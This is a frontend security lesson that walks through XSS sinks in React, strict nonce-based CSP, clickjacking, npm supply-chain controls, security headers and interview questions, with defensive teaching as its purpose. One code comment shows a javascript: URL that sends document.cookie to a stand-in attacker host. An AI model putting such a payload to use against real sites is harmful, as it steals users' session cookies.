The Browser Contract

Frontend Security Checklist: XSS, CSP, Clickjacking and Supply Chain

dangerouslySetInnerHTML, CSP nonces, frame-ancestors, Subresource Integrity and risky packages. Each one asks: what would you check in a code review?

Lesson 0718 min read#security#xss#csp

On this page

  1. XSS: where it comes from
  2. Content Security Policy (CSP)
  3. Clickjacking
  4. Supply chain: your dependencies are your code
  5. Small headers, large effect
  6. Other frontend items for a review
  7. The review checklist (what you say in an interview)
  8. Interview questions
  9. Key takeaways
  10. What's next

In one line: assume that some untrusted text will reach your page. Add several layers of defence so that, even then, it cannot run code, put your site in a frame, or bring in a bad dependency. Senior engineers answer security questions as code-review checks, not slogans.

You already know how XSS and CSRF relate to token storage (Lesson 03). This lesson is the practical checklist. A few words first. A header is a named line of extra information that a server sends with a response, such as Content-Security-Policy: .... The browser reads it and follows the rules in it. An origin is the trio of scheme, host and port, for example https://example.com:443. Defence in depth means using several layers of protection, so that if one layer fails, the next one still stops the attack. It covers the risky places to look for, a Content Security Policy that really helps, clickjacking, the supply chain, and the small headers that remove whole groups of bugs.

1. XSS: where it comes from

Cross-site scripting (XSS) is an attack where untrusted data is treated as code in the page, so the attacker's JavaScript runs with the rights of your site. Imagine a stranger writes a note, and your page reads it out loud as an order. There are three types:

  • Stored: the bad text is saved (a comment, a profile bio) and then shown to other users.
  • Reflected: the bad text comes in the URL or a form, and the response sends it back to the page.
  • DOM-based: (the DOM is the browser's live tree of page elements that JavaScript can read and change) code in the browser takes data from the URL, postMessage or storage. It writes that data into a dangerous place, called a sink. No server is involved.

React's default protection (and its limits)

React escapes everything you put in with {value}. Escaping means changing special characters (like < and >) into a form that the browser shows as plain text and never reads as markup. So <script> inside a string shows as harmless text. The protection stops when you turn it off, or when the string means something other than text:

JavaScript
// 1. dangerouslySetInnerHTML — you asked for raw HTML<div dangerouslySetInnerHTML={{ __html: comment.body }} />   // XSS if body is untrusted// 2. URLs: "javascript:" is a valid href<a href={user.website}>Website</a>      // website = "javascript:fetch('//evil/'+document.cookie)"// 3. Refs and direct DOM writesref.current.innerHTML = userInput;       // sink

Dangerous sinks to search for in a review

SinkWhy it is dangerous
dangerouslySetInnerHTML, innerHTML, outerHTML, insertAdjacentHTMLReads a string as HTML
document.write, eval, new Function, setTimeout("string")Runs a string as code
href / src / action from user datajavascript: and data: URLs
location = userValue, window.open(userValue)Open redirects (sending users to any site) and javascript: URLs
postMessage handlers without an event.origin check (postMessage is a browser method that lets one window or frame send a message to another, even across origins)Any window can send you data
Markdown or rich-text tools with raw HTML turned onThey pass HTML straight through
target="_blank" on untrusted links without rel="noopener"Old tab-nabbing problem (the new tab could control the old one). Modern browsers use noopener by default

Fixes

  • Prefer text over HTML. Show user content as text whenever you can.
  • If you need HTML, clean it with an allow-list sanitiser. A sanitiser is a tool that removes dangerous parts from HTML and returns safe HTML. An allow-list means only the tags you name are kept and everything else is removed (the opposite, a block-list, tries to name the bad things and always misses some). Use DOMPurify in the browser. Use sanitize-html or rehype-sanitize on the server or in a Markdown pipeline. Do it when you render, and allow as few tags and attributes as you can.
  • Check URLs. Allow only http: and https: (use new URL(value).protocol). Do not allow javascript:.
  • Markdown: turn raw HTML off, or clean the output with a strict schema. A renderer that lets <img onerror=...> through is a classic bug.
  • Encode the output for where it goes. HTML body, attribute, JavaScript string and URL each need different escaping. A framework does this for you. Strings you build by hand do not get it.
JavaScript
import DOMPurify from "dompurify";const clean = DOMPurify.sanitize(dirtyHtml, {  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li", "code", "pre"],  ALLOWED_ATTR: ["href"],});

2. Content Security Policy (CSP)

Content Security Policy (CSP) is a response header that tells the browser which content it may load and run on your page. It tells the browser which sources of scripts, styles, images and frames are allowed. (An inline script is JavaScript written straight in the HTML, and onerror is an inline event handler attribute.) Suppose an attacker adds a <script> or an inline onerror. If the policy does not allow it, it does not run, even when your escaping failed. CSP is defence in depth (one more layer). It does not replace escaping.

A weak CSP lists many domains and allows 'unsafe-inline'. That defeats the purpose. A strong, modern CSP uses nonces or hashes:

HTTP
Content-Security-Policy:  default-src 'self';  script-src 'nonce-r4nd0m123' 'strict-dynamic';  style-src 'self' 'unsafe-inline';  img-src 'self' data: https:;  connect-src 'self' https://api.example.com;  object-src 'none';  base-uri 'none';  frame-ancestors 'none';  form-action 'self';  upgrade-insecure-requests
  • Nonce: a new random value made for each response. Think of it as a secret password for one visit. The server puts it in the header and on every real <script nonce="…">. An injected script cannot guess it.
  • 'strict-dynamic': a CSP keyword that passes trust on. Scripts loaded by a nonce-approved script are trusted too. So you do not need to keep a long list of allowed domains.
  • object-src 'none', base-uri 'none': object-src controls plugins such as <object> and <embed>. base-uri controls the <base> tag, which changes how all relative links are read. Setting both to 'none' closes old ways of injecting code.
  • connect-src: the list of addresses that fetch, XHR and WebSocket may talk to. form-action: the addresses that forms may submit to.
  • frame-ancestors: this sets who may put your pages in a frame (a frame is a box, such as an <iframe>, that shows another page inside a page; see the next section).
  • Report-only first: the header Content-Security-Policy-Report-Only makes the browser report violations without blocking anything. Start with it and a report-to endpoint (a URL that collects the reports). Fix the problems it reports. Then turn on enforcement.

In Next.js, the proxy file (called middleware before Next.js 16) can make a nonce for each request and set the header. Pages read the nonce and pass it to scripts. A new nonce on every response means the page must be rendered on each request (dynamically). So a nonce-based CSP and fully static pages do not work together.

Trusted Types is a browser feature that stops plain strings from being used in dangerous DOM sinks. It is a related feature (require-trusted-types-for 'script'). It makes dangerous DOM sinks refuse plain strings. Code must go through sanitising policies first. It catches DOM-based XSS at the sink.

3. Clickjacking

Clickjacking is an attack that tricks a user into clicking something they cannot see. An attacker puts your site in an invisible iframe on their own page. Then they trick the user into clicking a "button" that really presses a button on your site, for example confirm payment or delete account.

Defences:

  • Content-Security-Policy: frame-ancestors 'none' (or 'self', or an allow-list). This is the modern control.
  • The older X-Frame-Options: DENY (or SAMEORIGIN) for old browsers.
  • For sensitive actions, also ask the user to log in again or confirm.

SameSite is a cookie setting that controls whether the browser sends the cookie on requests that start from another site. It also helps. A frame from another site will not send Lax or Strict session cookies.

4. Supply chain: your dependencies are your code

The supply chain means all the code that other people wrote and that your app uses (npm packages, build tools, scripts from a CDN). A CDN (content delivery network) is a group of servers around the world that hold copies of files and serve them from a place near the user. An average app ships hundreds of packages that come in through other packages (transitive packages). Attackers can get in by these routes:

  • A maintainer's account is taken over.
  • A package has a name that looks like a real one (typosquatting).
  • A package has a bad postinstall script (a script that npm runs automatically after it installs the package).
  • A third-party script URL gets a new owner.

A well-known example: in 2024 the polyfill.io domain was transferred to a new owner. It then started serving bad JavaScript to the many sites that loaded it directly.

Controls:

ControlWhat it does
Lockfile + npm ci / pnpm install --frozen-lockfile (a lockfile records the exact version of every package; npm ci installs exactly what it says and fails if it does not match package.json)Installs the same versions every time. Stops silent version changes
Review dependency updates (Dependabot or Renovate PRs)Updates are planned, and you can read the diff
npm audit / SCA scanning in CI (SCA means software composition analysis)Warns about versions with known problems
Use fewer dependenciesEvery package is a way in for attackers. Do not add one for a 5-line function
Turn off install scripts where possible (--ignore-scripts, pnpm's script allow-lists)Stops unknown code from running at install time
Subresource Integrity (SRI) on third-party scripts and styles (an integrity attribute that holds the file's expected hash, a short fingerprint made from its content)The browser refuses a file if its hash does not match
Host critical scripts yourselfYou control the content and when it changes
Provenance and trusted publishing (signed proof of where and how a package was built)Proves a package was built from its source repo
Give CI tokens and secrets the least accessLimits what a bad build step can steal
HTML
<script  src="https://cdn.example.com/lib@3.2.1/lib.min.js"  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"  crossorigin="anonymous"></script>

SRI only works for pinned URLs that never change (a file with a version in its URL). If the file changes for a good reason, you must update the hash.

5. Small headers, large effect

HeaderPurpose
Strict-Transport-Security (HSTS)Tells the browser to use only HTTPS for your site for a set time. Add includeSubDomains to cover subdomains. Preload puts your domain in a list built into browsers, but it is hard to undo, so think first
X-Content-Type-Options: nosniffStop the browser from guessing MIME types (file types). This blocks some tricks where an upload is run as a script
Referrer-Policy: strict-origin-when-cross-originDo not send full URLs (which may hold IDs or tokens) to other sites
Permissions-PolicyControls which browser features (camera, microphone, geolocation) your page and its frames may use. Turn off features you do not use (camera, microphone, geolocation)
Cross-Origin-Opener-Policy (COOP) / Cross-Origin-Embedder-Policy (COEP)COOP cuts the link between your window and windows opened from other origins. COEP says the page may load only resources that allow it. Together they isolate your page. Some powerful APIs, such as SharedArrayBuffer, need this
Cache-Control: no-store on sensitive pagesKeep private data out of caches and out of the Back button

6. Other frontend items for a review

  • Secrets in the bundle. Anything in client code or in NEXT_PUBLIC_* variables is public. API keys with real power belong on the server.
  • Open redirects. An open redirect is a page that sends users to an address taken from the request, so an attacker can use your trusted domain to send people to a bad site. An example is ?next=https://evil.com after login. Allow only relative paths on your own site, or an allow-list.
  • postMessage. Always check event.origin and check the shape of the message.
  • Authorization in the UI is not security. Hiding a button does not protect an endpoint. The server must check every request.
  • Untrusted file uploads. Check the type and size on the server. Store files outside the web root, or on object storage with safe headers.
  • Source maps in production (files that link minified code back to your original source) can show your logic. Decide on purpose whether to publish them.

The review checklist (what you say in an interview)

  1. Is any untrusted string shown as HTML, used in a URL, or passed to eval?
  2. Is there a CSP, and does it use nonces instead of 'unsafe-inline'?
  3. Can the site be put in a frame (frame-ancestors)?
  4. Are tokens stored where JavaScript can read them?
  5. Do third-party scripts have SRI, pinned versions or self-hosting?
  6. Are dependencies locked, audited and few?
  7. Do cookies have Secure, HttpOnly and SameSite?
  8. Are the security headers there?
  9. Does the server check authorization without relying on the UI?

Interview questions

How does React protect against XSS, and where doesn't it?

React escapes values that you put into JSX. So strings are treated as text, not as markup. It does not protect dangerouslySetInnerHTML, direct DOM writes (innerHTML), or URL attributes that accept javascript:. It also does not protect server-rendered strings that you build by hand, or bugs in third-party code. So I clean HTML, check URL protocols, and use CSP as a backup.

What does a strict CSP look like?

It avoids 'unsafe-inline' and long allow-lists. For scripts it uses a nonce for each response (or hashes) with 'strict-dynamic'. It also sets object-src 'none', base-uri 'none', frame-ancestors, and a tight connect-src. I start in report-only mode and then turn on enforcement.

Scenario: a markdown renderer is letting scripts through. Fix it.

First, turn off raw HTML in the Markdown parser. Then clean the HTML it makes with an allow-list (for example rehype-sanitize or DOMPurify) before rendering. Block javascript: URLs and remove event-handler attributes. Add a CSP, so that if something slips through, inline script still cannot run. Add tests that use known bad examples.

How do you defend against a compromised npm package?

I pin and lock versions and install with npm ci. I review update PRs and run audit and SCA in CI. I keep dependencies few and turn off install scripts where I can. I use SRI for outside scripts and limit the secrets that CI can see. I also watch for strange behaviour. I host critical third-party scripts myself.

What is clickjacking and how do you prevent it?

An attacker puts your page in an invisible frame and tricks users into clicking it. To prevent it, use Content-Security-Policy: frame-ancestors (or X-Frame-Options for old browsers). Also add confirmation steps for sensitive actions.

What is Subresource Integrity?

It is an integrity attribute that holds a hash of the file you expect. The browser downloads the file, makes a hash, and refuses to run it if the hash does not match. It protects you if a CDN or third-party host is tampered with. It needs versioned URLs that never change. For files from another origin it also needs crossorigin.

Why is hiding a button in the UI not authorization?

Anyone can call your API directly. The server must check authorization on every request. UI checks only help honest users.

What is the difference between stored, reflected and DOM-based XSS?

Stored XSS is saved on the server and hits every user who views it. Reflected XSS is sent back from a request into the response, often through a specially made link. DOM-based XSS happens fully in browser code. The code reads from a source (URL, storage, postMessage) and writes to a sink. The fixes differ a little. But escaping output, sanitising and CSP help against all three.

Scenario: marketing wants to add a new tag manager to the site. How do you assess the security risk?

A tag manager lets people send any JavaScript to every visitor. So I treat it as part of the attack surface. I limit who can publish, and I require review and an audit log. I run it under a strict CSP with an allow-list of destinations. I use SRI or self-hosting where possible. I keep it off sensitive pages such as login and checkout. I measure how much it slows the site. And I stay ready to turn it off quickly if a tag misbehaves.

Key takeaways

  • Sinks (innerHTML, dangerouslySetInnerHTML, javascript: URLs, eval) are where XSS lives. Find them in review.
  • Sanitise with an allow-list. Do not write your own regex.
  • A nonce-based CSP plus frame-ancestors is the modern baseline. Start with report-only.
  • Treat dependencies and third-party scripts as part of your attack surface: lock, audit, use fewer, add SRI.
  • Send the small headers: HSTS, nosniff, Referrer-Policy, Permissions-Policy.
  • Authorization lives on the server.

What's next

Lesson 08: Browser Rendering and the Event Loop in Practice. Security is done, so we go back to performance. You will see how a frame is made, why some code causes jank (stuttering), and where microtasks, tasks and animation frames fit.

Published by Jainik · Last updated · How these lessons are made

Keep learning

Related lessons

Related series